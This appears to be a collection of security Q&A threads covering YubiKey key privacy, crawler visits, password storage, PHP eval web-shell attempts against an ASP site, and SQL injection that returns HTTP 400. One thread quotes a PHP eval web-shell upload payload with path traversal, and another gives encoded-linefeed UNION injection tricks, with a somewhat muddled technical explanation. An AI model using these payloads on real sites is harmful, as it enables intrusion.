(As a counter example to "it is always bad", I usually "don't care" about all the bug trackers I am subscribed to. If I can use one public key for all of them to authenticate, then great.)

WebCrypto is essentially a software layer, and it has infinite number of keys (some hand waiving). I then started thinking about my Yubikey... A Yubikey has finite space, so it only has a limited number of keys.

How many public keys can a Yubikey generate and hold?

How does a YubiKey protect privacy given organizations (origins) can collude and compare public keys registered with them?

(It wouldn't surprise me if a government or one of its authorized agents or partners started collecting the public keys and made them searchable in a database, much like Little Black Blox does for private keys).

Please refer to documentation which says that it can support "unlimited number of U2F credentials". I am assuming you are referring to U2F credentials since that is based on public/private key while the other OTP is based on symmetric key (which is limited to 1-2 slots). Now the obvious limitation of this is the memory and age of yubikey.

In most of standard deployment scenarios, you are going to generate unique public-private key for each site you are going to register the yubikey. This way the key for google and dropbox is going to be different.
If google & dropbox want to identify "you", it may be easier for them to  to identify "you" using user id and behavioural data (IP address). If yubikey is working properly (i.e. it has not been compromised to add device specific information in public key either explicitly or implicitly due to algorithm, PRNG weakness and other known public/private issues), there is no way for them to trace the two public keys back to single "you".

Update: The link explaining how U2F can support "infinite" public private/public key pairs without sharing the same key across sites AND storing the details locally.


My website got several unkown visits sorry if this question do not fit here.

I am at this moment making a website which is not finished at all.

I found some analytics for the site and found something strange.

I have 30 visits from USA, 8 from Germany, 1 from Russia and 1 from China. (I am Danish)

This site has not been published anywhere. Is it just a coincidence?

I am not worried about it, since I find it quite harmless. I'm just curious about who those people might could be.

Whether your site is unpublished or not makes little difference:

Web spiders (automated engines which index content on websites for search giants like Google and Yahoo) automatically crawl every site they can find through DNS records.

You will likely receive dozens, if not hundreds of these types of visits on a daily/weekly basis.


How do large companies and wealthy individuals secure their information? I've recently had some success and traffic increase with an online business I own and due to that someone has hacked my domain email and twitter accounts. My bank password is the same and I just changed everything to some really random difficult 16 character pass (looks like a bitcoin address honestly). But the problem is I can not remember this password...

I'm afraid to store it on my Dropbox because if my PC is compromised they can gain access. Is the only way to store it on a flash drive or sticky note and put that in my wallet or something? Or take a photo on my phone? The chances of my phone being stolen are slim to none. Seems very cumbersome to have to look at my phone every time I login to my bank and enter some 16 character password..

And also, how do large corporations and VIP (billionaires, celebrities, heads of state) individuals secure their passwords?

Thanks

Do not use the same password on multiple sites.  That's number one.  Second, don't use simple passwords for any site where you care about your account.

To do this, you need a paper list or a password manager (e.g. KeePass, LastPass, etc).  A manager is almost always the way to go.


PHP code execution attempts on an ASP website I found multiple PHP code execution attempts on my web server, which is running on asp. What happens when one attempts to execute php code on an asp web server? Will this create an impact on the server, and is there any chance of getting compromised? Please explain how this situation is handled by the server.

Note: I don't have direct access to the web server to whether any attempts were successful.

sample attack code:

tpl_content=<?php eval($_POST[c]) >&name=test404.php&dir=index/../../../..&current_dir=tpl

The attacker might:

not know that the website is running asp, or
be a robot.

In most cases, I would say it is the latter: many, many crawlers try all sorts of attacks on every website, hoping to find a website where they get lucky. Figuring out, by hand, which technology is used by a website, costs much more time than just doing a few GET requests and matching the expected output.

  what will happen when a php code is tried to execute on an asp running web server. whether this will create an impact on the server and any chances of getting compromised

No, there will be no impact at all. If there is no PHP anywhere on the server, then PHP code will never do anything.

Well, it could theoretically be that valid PHP code is also valid ASP code. I don't know ASP that well, but a function_call() is probably similar in both languages... so any PHP attack will not work, but any attack that is valid for both languages might work, if your website is vulnerable... but the odds of this are negligible. Attacks almost never work in multiple languages, especially not if someone is blindly trying requests against your web server.

This is very common and generally nothing to worry about. It generally impacts common setups like Wordpress, PhpMyAdmin, Typo3, Joomla, etc.


Is it possible to do anything against a website with SQL injection that returns 400? So today at my job I notified a senior programmer that I found an SQL injection at our website. However, when I make an SQL injection, the page just returns 400, so I can't really see any errors or UNION SELECT some more info etc. That's why I guess a senior developer just said we're too busy to look into this now, and that I need to go back to testing other stuff (I'm a tester). Was he right? Is there no way to exploit an SQL injection that just returns 400?

Errors such as 400 (and above) errors are thrown from the web-server side instead of the DB side. So your current query does not actually execute all the way yet. To correct it, you could possibly add linefeed characters such as %0A to the end of your injection test string. If you are on a windows platform you could try %0D%0A. These are HTML linefeed characters to assist with execution.
E.g:

%0D%0AUnion%0D%0Aselect
%0AUnion%0Aselect

A better alternative is to use a SQL testing tool such as the tool from Acunetix or alternatively the tools listed on the OWASP website: https://www.owasp.org/index.php/Testing_for_SQL_Injection_%28OTG-INPVAL-005%29 These tools will be able to test a much larger range of possible injections than you could perform manually.

Glad your company got testers but wish the dev person did not just ignore the error.